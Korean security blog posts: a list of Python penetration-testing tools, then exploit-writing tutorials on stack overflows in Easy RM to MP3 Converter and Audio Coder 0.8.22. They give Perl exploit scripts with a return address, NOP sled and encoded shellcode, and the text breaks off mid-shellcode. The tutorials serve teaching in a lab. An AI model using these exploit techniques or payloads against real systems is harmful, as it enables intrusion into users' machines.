1) 웹 어플리케이션 모의해킹

이름

설명

URL

wapiti

웹 취약점 스캐너

http://wapiti.sourceforge.net/

w3af

웹 취약점 스캐너

http://w3af.org/category/python

V3n0M-Scanner

웹 취약점 스캐너

https://github.com/v3n0m-Scanner/V3n0M-Scanner

xsser

XSS 취약점 스캐너

http://xsser.sourceforge.net/

sqlmap

SQL 인젝션 점검 도구

http://sqlmap.org/

spiderfoot

웹서버 풋프린팅 분석

http://sourceforge.net/projects/spiderfoot/

Parsero

웹사이트 디렉터리 탐색

https://github.com/behindthefirewalls/Parsero

dnsrecon

DNS 정보 목록화 도구

https://github.com/darkoperator/dnsrecon

 

 

2) 네트워크 분석

이름

설명

URL

Scapy

패킷 생성 및 조작 도구

http://www.secdev.org/projects/scapy/

dpkt

패킷 생성 및 조작 도구

https://code.google.com/p/dpkt/

pyhids

파이썬 기반의 HIDS

https://bitbucket.org/cedricbonhomme/pyhids/

pypcapPcapy andpylibpcap

패킷 덤프

https://code.google.com/p/pypcap/

http://corelabs.coresecurity.com/index.php?module=Wiki&action=view&type=tool&name=Pcapy

http://pylibpcap.sourceforge.net/

droopy

간단한 파일 공유

http://stackp.online.fr/?p=28

netgrafio

네트워크 구성도 시각화

https://github.com/nullsecuritynet/netgrafio

 

 

3) 포렌식 분석도구

이름

설명

URL

volatility

메모리 포렌식 도구

https://code.google.com/p/volatility/

libforensics

디지털 포렌식 도구

https://code.google.com/p/libforensics/

python-registry

레지스트리 포렌식

http://www.williballenthin.com/registry/

 

 

4) 악성코드 분석도구

이름

설명

URL

KicomAV

백신엔진

http://www.kicomav.com/

PyEMU

백신엔진

https://code.google.com/p/pyemu/

Yara

백신엔진

https://code.google.com/p/yara-project/

pyClamAV

백신엔진

http://xael.org/norman/python/pyclamav/index.html

Cuckoo Sandbox

가상화기반 악성코드 분석

http://www.cuckoosandbox.org/

pefile

PE 분석 도구

https://code.google.com/p/pefile/

peframe

PE 분석 도구

https://github.com/guelfoweb/peframe

jsunpack-n

자바스크립트 분석 도구

https://code.google.com/p/jsunpack-n/

thug

웹기반 악성코드 분석

https://buffer.github.io/thug/

apkinspector

안드로이드 악성코드 분석

https://github.com/honeynet/apkinspector/

 

 

5) 문서형 악성코드 분석

이름

설명

URL

HwpScan2

한글 취약점 스캐너

http://www.nurilab.com/?p=58

PDFDot

PDF 분석 및 시각화 도구

http://www.nurilab.com/?p=170

pdf-parser

PDF 분석 도구

http://blog.didierstevens.com/programs/pdf-tools/



해당 자료가 저작권 등에 의해서 문제가 있다면 바로 삭제하겠습니다.

연구 목적으로 사용하지 않고 악의적인 목적으로 이용할 시 발생할 수 있는 법적인 책임은 모두 본인에게 있습니다.


[출처] http://kyaru.blog.me/220089699384

저작자 표시 비영리 변경 금지
신고

'파이썬' 카테고리의 다른 글

침투테스터를 위한 파이썬 오픈소스 도구 소개  (0) 2016.01.17

개요


첫 번째 문서에서 취약점을 찾고, 이를 이용해 공격 코드를 만들어서 공격을 하여 공격자가 원하는 행동을 하였다. 공격자가 원하는 행동을 하는 코드로 이동하기 위해서 스택에 삽입하고 'JMP ESP'를 사용하여 코드로 이동하여 실행하였다. 하지만 이 방법이 항상 적용되는 것이 아니다. 이번 문서에서는 쉘 코드를 실행시키거나 점프할 수 있는 여러 방법들에 대해 다루고, 버퍼의 크기가 작을 때 적용할 수 있는 방법 또한 알아볼 것이다.



Exploit 대상


  • Easy RM to MP3 Converter



실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Easy RM to MP3 Converter를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Python 2.7.10: m3u 파일을 생성하는 스크립트 작성

WinDbg: 해당 프로그램(Easy RM to MP3 Converter)를 디버깅

findjmp.exe: 특정 DLL에서 JMP 명령어(JMP 뿐만 아니라 CALL, PUSH / RETN, …)를 검색



'쉘 코드를 실행시킬 수 있는 여러 방법' 이론 및 실습


1. JMP or CALL


최종 목표는 EIP에 쉘 코드 주소를 넣음으로써 공격자가 원하는 행동을 하는 것이다. 그래서 공격자들은 보통 쉘 코드의 주소를 가진 레지스터(예: ESP)를 이용하여 그 주소를 EIP에 넣어 공격을 하게 된다. 그래서 애플리케이션이 실행될 때 로딩되는 DLL들 중에 로딩될 때마다 주소가 변경되지 않는 DLL 즉, DLL Relocation 하지 않는 DLL을 선택하여 쉘 코드의 주소를 가진 레지스터로 JMP 하거나 CALL 하는 기계어(JMP ESP, CALL EAX, ...)를 찾아야 한다. 또한 특정 메모리 주소(쉘 코드 주소)로 EIP를 덮어쓰는 대신 특정 레지스터로 점프 하는 주소(예: JMP ESP 명령어 주소)를 EIP에 주입할 필요가 있다.



1) CALL [reg] 실습


실습을 하기 앞서서 선행되어야 하는 과정은 레지스터가 쉘 코드 주소를 가리켜야 되고, 그 다음으로 JMP 또는 CALL을 실행하면 됩니다(이번 실습에서는 CALL). 이번 실습은 첫 번째 문서에서 실습했던 Easy RM to MP3 Converter을 대상으로 실습한다.



(1) 우선 쉘 코드 주소를 가리키는 레지스터를 찾아야 하는데 스택에 쉘 코드를 삽입했기 때문에 쉘 코드를 가리키는 레지스터는 ESP를 사용하면 된다.



(2) 다음으로 ‘CALL ESP’ 명령어를 찾아야 한다. CALL [reg] 주소를 많이 포함하고 있는 kernel32.dll에서 찾기 위해 전에 소개한 findjmp.exe를 사용하여 CALL ESP 명령어 주소를 찾을 것이다.




(3) findjmp.exe를 사용하여 ‘CALL ESP’ 명령어를 찾으면 0x7C8369F0 를 찾을 수 있다. 이 주소를 기존의 poc 코드에서 eip 변수만 변경해서 실행한다.




(4) 실행한 결과로 나온 m3u 파일을 해당 프로그램에 로딩시키면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.




2. pop / return


스택의 Top에 쉘 코드 주소를 가리키고 있지는 않지만 스택 안에 쉘 코드 주소가 존재할 때 즉, ESP+offset이 쉘 코드 주소를 가리키고 있을 경우에 사용 가능하다. offset에 따라 POP / RET 또는 POP / POP / RET와 같이 POP의 개수가 달라지고, RET 명령어를 실행함으로써 EIP에 쉘 코드 주소가 삽입되면서 원하는 행동을 할 수 있다. 혹은 쉘 코드 주소가 스택에 존재하지 않고 쉘 코드가 스택에 존재한다면 pop / return 방법을 이용하여 ‘JMP ESP’와 같은 명령어 주소로 이동하고 실행하면 쉘 코드로 이동할 것이다.



1) POP / POP / RET & JMP ESP 실습


ESP+8에 쉘 코드가 있다고 인위적으로 상황을 구성했다. 즉, EIP에 ESP+8을 주입시켜서 쉘 코드를 실행하는 것이 목적이다. 목적을 이루기 위해서 ‘POP / RET’과 ‘JMP ESP’을 이용할 것이다.



(1) [ESP+8]를 EIP에 주입하기 위해서 2개의 POP 명령어와 RET 명령어가 필요하다. 이를 위해 알아야 할 것은 POP 명령어에 대한 기계어이다. 명령어에 대한 기계어를 알아보기 위해 Easy RM to MP3 Converter와 WinDbg를 실행하고 해당 프로그램을 Attach하여 다음과 같이 알아본 결과 POP 명령어와 함께 사용되는 레지스터와 각 명령어에 대한 기계어는 아래 표와 같다.



어셈블리어

기계어

POP EAX

58

POP EBX

5B

POP ECX

59

POP EDX

5A

POP ESI

5E

POP EDI

5F

POP EBP

5D

POP ESP

5C



(2) 사용 가능한 DLL 중에 POP / POP / RET을 찾아야 한다. 여기서 애플리케이션 DLL과 OS DLL 중 어느 DLL에서 찾아야 하는지 또한 중요하다. 왜냐하면 윈도우 플랫폼과 버전에 범용적으로 적용될 수 있는 공격 코드를 작성하기 위해서는 애플리케이션 자체의 DLL을 사용하는 것이 더 좋지만 매번 실행될 때마다 똑같은 베이스 주소를 가진다는 것을 확신할 수 없다. 즉, DLL Relocation이 될 수도 있다. 그렇기 때문에 OS DLL(예: kernel32.dll 또는 user32.dll) 중 하나를 사용하는 것이 더 좋을 수도 있다.



(3) 이번 실습에서는 애플리케이션 DLL 중 MSRMCcodec00.dll에서 POP EAX / POP EBP / RET(58 / 5D / C3)을 찾을 것이고, NULL 바이트가 포함되지 않은 주소를 사용해야 한다.




(4) 위에서 찾은 주소들을 이용하여 아래와 같이 스크립트를 작성하고 실행한다.




(5) 위에서 작성된 코드로 인해 생성된 파일을 로딩했을 경우 EIP와 스택이 어떻게 진행되는지 확인하면 아래 그림과 같다.



① m3u 파일이 로딩되면서 dummy로 26,101 바이트와 pop/pop/ret 주소, pop 될 4바이트, 테스트로 삽입한 8바이트(nop), jmp esp 주소 그리고 쉘 코드를 삽입된다. 그 다음 로딩하는 함수가 끝나고 return 될 때 pop/pop/ret 주소로 return 된다.

② return 되면서 4바이트가 pop 된다. pop/pop/ret 명령어가 실행되면서 nop 8바이트가 pop 되고 jmp esp 주소로 return 된다.

③ jmp esp가 실행되면서 쉘 코드로 이동하여 실행된다.



(6) 실행한 결과로 나온 파일을 해당 프로그램에 로딩시키면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있을 것이다.




3. push / return


CALL은 다음 명령어 주소를 스택에 PUSH하고, JMP하여 명령어들을 처리한 후에 RET 명령어를 통해 CALL 명령어를 호출했던 주소의 다음 주소로 이동한다. 이와 다르게 PUSH / RET은 PUSH를 통해 특정 주소 또는 특정 주소를 담고 있는 레지스터를 스택에 PUSH하고, RET 명령어를 통해 특정 주소로 이동한다. 이 방법은 레지스터가 쉘 코드의 주소를 가리키고 있지만 특정 이유로 ‘JMP [reg]’ 혹은 ‘CALL [reg]’ 명령어를 사용할 수 없을 때 사용하면 된다.



1) PUSH / RET 실습


ESP가 쉘 코드의 주소를 가리키고 있기 때문에 이번 실습에서는 PUSH ESP / RET명령어를 사용한다.



(1) PUSH ESP / RET의 기계어를 확인한다.




(2) 위에서 확인한 기계어(54 C3)를 DLL(MSRMCcodec00.dll)에서 찾아본다.




(3) 위에서 찾은 주소(0x019557f6)를 코드에 삽입한다.




(4) 위에서 작성한 코드를 실행하여 파일을 생성하고, 생성된 파일을 해당 프로그램에 로딩시켜보면 아래와 같이 계산기가 띄워지는 것을 확인할 수 있다.




4. JMP [reg+offset]


만약 쉘 코드를 포함하는 버퍼를 지시하는 레지스터가 있지만 그것이 쉘 코드의 시작 위치를 가리키지는 않고 몇 바이트 떨어져 있을 때 사용할 수 있는 방법이다. 하지만 일치하는 ‘JMP [reg+offset]’ 명령어를 찾을 수 없다면 offset이 더 증가하고, 쉘 코드 앞에 NOP(90h)를 추가해주면 된다.



1) JMP [reg+offset] 실습


위 2.1에서는 2개의 POP을 이용하여 필요하지 않은 부분을 제거하고, RET함으로써 8 byte를 건너 띌 수 있었다. 이 방법을 사용하면 더욱 쉽게 해결할 수 있다.


(1) ‘JMP [ESP+8h]’를 수행하는 기계어 찾는다.




(2) 그 다음 과정은 2.2.1 실습에서 eip 변수에 pop/pop/ret 주소 대신에 JMP [ESP+8h] 주소를 찾아 넣어주는 것 이외에는 동일하다(이번 실습은 여기까지 진행한다).



5. Blind return


JMP 또는 CALL 명령어처럼 EIP를 특정 레지스터로 곧바로 향하도록 설정할 수 없지만 ESP에 있는 데이터를 제어할 수 있을 경우에 유용하게 쓰일 수 있다. 이 기술을 사용하기 위해서 쉘 코드가 포함된 메모리 주소를 알아야 한다.

우선 프로그램에서 사용하는 DLL 중 하나에서 ‘RET’ 명령어를 찾는다. 그 다음 EIP를 덮어쓸 주소를 ‘RET’ 명령어 주소로 설정하고, return 된 후에 스택의 Top에 쉘 코드의 주소가 오도록 설정하면 된다.

이 예제는 덮어쓸 EIP가 널 바이트를 포함하기 때문에 작동하지 않을 것이다. 즉, ESP 안으로 원하는 쉘 코드를 주입시킬 수 없고, 성공 확률도 크지 않는다. 그럼에도 불구하고 이 기술을 쓰는 이유는 원하는 기계어가 RET 뿐이기 때문에 공격을 위한 사전 준비 작업이 복잡하지 않다는 장점이 있다.

물론 Easy RM to MP3 Converter 프로그램에서는 먹히지 않다.



6. SEH(Structured Exception Handler)


모든 애플리케이션은 OS에 의해 제공되는 예외처리기를 기본적으로 가지고 있다. 애플리케이션을 실행하다가 예외가 발생한다면 애플리케이션에서 예외처리를 해주고, 예외처리를 해주지 못했을 경우에는 OS가 예외처리를 해준다. 이를 악용하여 공격자는 SEH에 자신의 예외처리 코드를 앞쪽에 추가하고, 의도적으로 예외를 발생시켜 공격자가 작성한 예외처리 코드 즉, 악의적인 행동을 하는 쉘 코드가 실행이 되도록 한다.



위 그림은 SEH 구조를 나타낸 그림으로 FS:[0]는 SEH 시작 주소를 가지고 있다. SEH는 Linked List 형태로 되어 있고, 각 데이터는 구조체이다. 구조체의 첫 번째 요소는 다음 예외처리 핸들러 주소를 의미하고, 두 번째 요소는 예외처리 핸들러 함수로 정의되어 있다. 핸들러가 예외처리를 하지 못하면 첫 번째 요소가 가리키는 주소로 이동하여 계속 반복하면서 예외처리 하다가 주소가 0xFFFFFFFF를 만나면 OS가 예외처리 한다.

SEH를 사용하면 다양한 윈도우 플랫폼에 응용 가능한 공격 코드를 생성할 수 있지만, 주어진 OS에서 정상 작동하지 않는 공격 코드를 작성했다면 공격 코드와 애플리케이션이 충돌하여 의도치 않은 예외를 발생될 수 있다. 그러므로 SEH 기반 공격 코드는 일반적인 공격 코드를 혼합해 좀 더 유연하게 공격 코드를 작성해야 한다.



7. 이용할 수 있는 버퍼 용량이 제한되어 있을 경우


버퍼 용량이 제한되어 있을 경우 EIP를 덮어쓰기 전에 어느 정도의 용량을 확보할 수 있다면 제한된 버퍼에서 확보된 버퍼로 이동하는 코드를 삽입한다. 즉, 여유 있는 공간에 쉘 코드를 삽입하고, 제한된 공간에서는 여유 있는 공간으로 이동만 하는 코드를 삽입한다.



1) 버퍼 크기가 작은 경우의 실습


Easy RM to MP3 Converter 프로그램에서 의미 없는 문자 26,101 바이트와 EIP, 그리고 4 바이트를 더한 위치가 ESP의 시작점이고, ESP 시작점으로부터 50바이트만 사용 가능하다고 가정한다.


(1) ESP 시작점부터 50바이트만 사용 가능하다고 가정했지만 쉘 코드를 삽입하기에는 부족한 크기이다. 그렇기 때문에 우선 여유 있는 공간을 찾고 여유 있는 공간의 주소를 알아야 한다.



(2) 기존에 만들었던 공격 코드를 수정하여 간단히 테스트를 할 것이다.




(3) 위 코드를 실행하여 파일을 생성하고, 생성된 파일을 해당 프로그램에 로딩시키면 아래와 같이 EIP 레지스터(42424242)와 스택을 확인할 수 있다.




(4) 스택에 ‘C’ 문자열과 NOP 뒤에 어떤 데이터가 있는지 확인하기 위해 추가적으로 덤프를 수행해본다.




(5) ‘C’ 문자열 다음에 온 데이터가 ‘A’ 문자들로 채워져 있는 것을 확인할 수 있다. 이것은 26,101개의 ‘A’ 문자열이 위치한 곳을 의미한다. 위 그림에서 추가적으로 덤프를 수행해보면 아래와 같이 많은 양의 ‘A’가 채워진 공간을 확인할 수 있다. 이로서 쉘 코드를 작성할 수 있는 공간을 확보하였다.




(6) 작은 용량의 버퍼와 큰 용량의 버퍼를 이용하여 큰 용량의 버퍼로 이동하고, 큰 용량의 버퍼에서는 공격 코드를 실행할 수 있도록 해야한다. 그러기 위해서는 다음으로 필요한 사항이 2가지가 있다.

A. 첫 번째로는 큰 용량의 버퍼가 26,101개의 ‘A’ 문자열에서 몇 번째 offset부터 사용할 수 있는지 확인해야 한다.

B. 두 번째 필요한 사항은 작은 용량의 버퍼에서 큰 용량의 버퍼로 이동시킬 코드가 필요하다. 단 이 코드는 50 바이트를 넘지 말아야 한다.



(7) 우선 정확한 버퍼 위치를 알기 위해서 Kali Linux를 활용하여 1000바이트의 패턴을 생성한다.




(8) 위에서 생성된 패턴을 코드에 삽입하고 실행한다.




(9) 위 코드로 실행되어 생성된 파일을 해당 프로그램에 로딩하고, ‘C’ 문자열 다음에 오는 4바이트(j4Aj)를 확인하여 몇 번째 바이트인지 Kali Linux의 pattern_offset.rb 툴을 사용하면 offset을 확인할 수 있다.





(10) 위에서 알게 된 offset을 이용하여 코드를 수정하고, 실행하여 파일을 생성한다.




(11) 생성된 파일을 로딩하고 메모리를 확인한다.




(12) 다음으로 큰 용량의 버퍼로 이동할 코드를 작성한다. 점프 코드 목표는 ESP+132h 위치로 점프하는 것이고, 그러기 위해서 어셈블리어로 작성하고 기계어로 변경해줘야 한다. ESP+132h로 점프하기 위해 ESP에 132h을 더해주어야 하지만 여기서 큰 값을 한 번에 기계어로 처리하면 널 바이트를 포함된 기계어를 얻음으로써 널 바이트를 만나 프로그램이 종료될 수도 있다. 그리고 쉘 코드 앞에 NOP 공간을 넣는 것이 가능하기 때문에 굳이 정확하게 ESP+132h 위치로 점프할 필요가 없다. 다만 132h 이상의 값만 더해주면 정상적으로 작동할 것이다.



(13) ESP에 0x4D(77)을 4번 더하고 ESP로 이동하면 된다. 이를 위한 어셈블리어는 ‘ADD ESP, 0x4D / ADD ESP, 0x4D / ADD ESP, 0x4D / ADD ESP, 0x4D / JMP ESP’이다. 이 어셈블리어를 WinDbg를 통해 기계어를 찾아본다.




(14) 작은 용량의 버퍼에서 큰 용량의 버퍼로 이동하는 기계어 코드를 찾았으므로 공격 코드를 수정한다.




(15) 위 코드로 생성된 파일을 해당 프로그램에 로딩시키면 아래와 같이 ESP에 위에서 구한 기계어와 밑에 큰 용량의 버퍼를 확인할 수 있다.




(16) 이제 EIP를 ‘JMP ESP’ 주소로 수정하고, 쉘 코드를 넣어서 공격 코드를 수정한다.




(17) 위 코드의 공격 원리는 아래와 같이 진행된다.



① m3u 파일을 로딩 시 스택이 첫 번째 그림처럼 데이터가 저장이 된다.

② m3u 파일 로딩이 끝나고 return하면 kernel32.dll의 jmp esp 주소로 이동한다.

③ jmp esp가 실행이 되면 세 번째 스택 그림에 첫 번째 add esp, 4d로 이동한다.

④ 4개의 add esp, 4d와 jmp esp가 실행되면 네 번째 스택 그림에 nop로 이동하여 쉘 코드를 실행한다.



(18) 실행하면 아래와 같이 성공한 것을 확인할 수 있다.






참고

KISEC에서 편역한 Exploit Writing 2 쉘코드로 점프


Written by dinger from SecurityInsight Research Group.


저작자 표시 비영리 변경 금지
신고

개요

Audio Coder 0.8.22의 스택 기반 오버플로우 취약점을 찾고 exploit하여 스택 기반 오버플로우에 대한 이해를 더욱 더 알 수 있도록 할 것이다.


Exploit 대상

Audio Coder 0.8.22(https://www.exploit-db.com/exploits/26411)


실습 환경

  • 운영체제

Windows XP Service Pack 3: Exploit 대상인 Audio Coder 0.8.22를 실행시킬 운영체제

Kali Linux 1.1.0: pattern을 생성하고, 검색하기 위해 사용

  • 사용한 툴

Perl: m3u 파일을 생성하는 스크립트 작성

WinDbg: Audio Coder 0.8.22를 디버깅, JMP ESP 검색


1. Audio Coder 0.8.22 설치

1) Windows XP에서 'https://www.exploit-db.com/exploits/26411/'로 접속하여 Download Vulnerable App 오른쪽에 있는 버튼을 눌러 취약한 애플리케이션을 다운받는다(그리고 Download Exploit 오른쪽 부분에 Source를 누르면 아래 PoC 코드를 다운 받을 수 있다).




2) 설치한 AudioCoder를 실행시키면 아래와 같이 실행된다.




2. Post-Mortem 디버거 등록

1) 다음으로 cmd을 띄워서 WinDbg -I 명령어를 실행한다. 이 명령어는 WinDbg 디버거를 post-mortem 디버거로 등록한다는 의미이다. 즉, 오류가 발생하면 WinDbg 디버거가 자동으로 이를 포착하여 오류가 난 곳을 디버깅할 수 있게 해준다.



2) 위 명령어를 실행하면 아래와 같이 WinDbg가 default postmortem debugger으로 설치되었다는 메시지를 띄워진다.




3. 버퍼 크기 확인

1) 앞에 header로 "http://"을 넣어주고, 뒤에 "A"를 500개를 붙여서 test1.m3u 파일을 생성한다.


# C:\Exploit\test1.pl
my $file = "test1.m3u";
my $header = "http://";
my $junk = "A" x 500;

open($FILE, ">$file");
print $FILE $header.$junk;
close($FILE);


2) 위에서 생성한 test1.m3u 파일을 AudioCoder에 로딩시키면 에러가 나고, 에러가 난 코드와 레지스터들을 WinDbg를 통해 보여준다. 이 때 EIP를 보면 41414141임을 확인할 수 있다. 이는 "A" 500개가 버퍼에서 넘쳐서 Return Address를 덮었음을 의미한다.



3) 500 byte 내에 Return Address를 변경하므로 정확히 몇 번째 byte에서 Return Address를 덮어쓰는지 쉽게 확인하기 위해 Kali Linux의 pattern_create.rb 명령어(usage: ./pattern_create.rb <패턴의 개수>)를 통해 500 byte의 패턴을 생성한다.



4) 위의 패턴을 사용하여 아래와 같이 코드를 수정한다.


# C:\Exploit\test2.pl
my $file = "test2.m3u";
my $header = "http://";
my $junk = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9".
		   "Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9".
		   "Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9".
		   "Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9".
		   "Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9".
		   "Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9".
		   "Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9".
		   "Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9".
		   "Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9".
		   "Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9".
		   "Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9".
		   "Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9".
		   "Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9".
		   "An0An1An2An3An4An5An6An7An8An9".
		   "Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9".
		   "Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9".
		   "Aq0Aq1Aq2Aq3Aq4Aq5Aq";

open($FILE, ">$file");
print $FILE $header.$junk;
close($FILE);


5) 위의 코드로 생성된 test2.m3u 파일을 AudioCoder에 로딩시키면 EIP가 41336941로 나온다.



6) Kali Linux의 pattern_offset.rb 명령어(usage: ./pattern_offset.rb <offset> <생성했던 패턴의 수>)를 이용하여 위에서 나온 41336941이 몇 번째 byte의 패턴인지 확인하면 249 byte에서 Return Address를 덮는 것을 알 수 있다.




4. EIP & 스택 조작

1) 이제 몇 byte에서 Return Address를 덮어쓰는지 확인하였으므로 EIP와 스택의 데이터를 원하는 값으로 변경하도록 아래와 같이 코드를 수정한다.


# C:\Exploit\test3.pl
my $file = "test3.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = "BBBB";
my $junk2 = "1ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"2ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"3ABCDEFGHIJKLMNOPQRSTUVWXYZ".
			"4ABCDEFGHIJKLMNOPQRSTUVWXYZ";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$junk2;
close($FILE);


2) 위의 코드에서 생성된 test3.m3u 파일을 AudioCoder에 로딩시키면 물론 에러가 나고 WinDbg가 실행이 된다. 이 때 EIP가 42424242("BBBB")이고, ESP는 0012f37c, ESP가 가리키는 주소의 데이터를 보면 junk2 전부 있음을 확인할 수 있다. 즉, EIP를 원하는 메모리 주소를 가리킬 수 있고, Shell Code를 스택에 삽입할 수 있게 되었다.




5. 쉘 코드 삽입

1) EIP를 위에서 확인한 ESP 값(0012f37c)으로 설정하고, NOP(\X90) 8 byte, Shell Code를 추가합니다. Shell Code가 EIP 바로 다음에 와도 되지만 NOP을 8개를 추가한다.


# C:\Exploit\test4.pl
my $file = "test4.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = pack('V', 0x0012f37c);
my $nops = "\x90" x 8;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
			"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
			"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
			"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
			"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
			"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
			"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
			"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
			"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
			"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
			"\x7f\xe8\x7b\xca";

open($FILE, ">$file");
print $FILE $header.$junk.$eip.$nops.$shellcode;
close($FILE);


2) 위에서 나온 test4.m3u 파일을 다시 로딩시키면 계산기가 띄워질 것 같지만 실제로는 실행되지 않는다. 이유를 찾아보면 점프할 EIP가 ESP(0012F37C)처럼 NULL 바이트가 포함된 주소이면 안 되고, 그리고 특정 메모리로 직접 점프하는 것은 좋은 방법이 아니다. ESP 주소로 점프하기 위해서는 ESP로 점프하는 함수를 찾고, EIP가 그 함수로 점프하도록 하면 된다.



3) Windows에서 사용하는 DLL은 버전마다 다를 수 있기 때문에 AudioCoder 자체에서 만든 DLL을 사용합니다. 또한 DLL Relocation이 일어날 수 있기 때문에 주소가 변하지 않는 DLL을 선택한다. 여기서는 libiconv-2.dll를 사용한다.


ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01450000 014b5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01d10000 01d1f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02ca0000 02ca6000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02dc0000 02df8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01460000 014c5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01c70000 01c7f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 01d10000 01d16000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02d80000 02db8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01460000 014c5000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 01d10000 01d1f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02ca0000 02ca6000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02dc0000 02df8000   C:\Program Files\AudioCoder\SysInfo.dll

ModLoad: 00400000 00569000   C:\Program Files\AudioCoder\AudioCoder.exe

ModLoad: 10000000 10029000   C:\Program Files\AudioCoder\mccommon.dll

ModLoad: 66000000 660fb000   C:\Program Files\AudioCoder\libiconv-2.dll

ModLoad: 00570000 0060e000   C:\Program Files\AudioCoder\libxml2.dll

ModLoad: 00610000 00690000   C:\Program Files\AudioCoder\SDL.dll

ModLoad: 00690000 006e6000   C:\Program Files\AudioCoder\SDL_image.dll

ModLoad: 006f0000 00782000   C:\Program Files\AudioCoder\jpeg.dll

ModLoad: 01b20000 01b85000   C:\Program Files\AudioCoder\mcres.dll

ModLoad: 02520000 0252f000   C:\Program Files\AudioCoder\plugins\dsp_chmx.dll

ModLoad: 02640000 02646000   C:\Program Files\AudioCoder\plugins\dsp_zsc.dll

ModLoad: 02650000 02688000   C:\Program Files\AudioCoder\SysInfo.dll


4) AudioCoder를 실행한 다음에 WinDbg에서 Attach한다. 그 다음에 libiconv-2.dll 에서 JMP ESP(OP Code: FF E4) 명령어를 찾는다.



5) 찾은 6602c104 주소를 이용하여 아래와 같이 코드를 수정한다.


# C:\Exploit\test5.pl
my $file = "test5.m3u";
my $header = "http://";
my $junk = "A" x 249;
my $eip = pack('V', 0x6602c104);
my $nops = "\x90" x 8;
my $shellcode = "\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1".
			"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
			"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
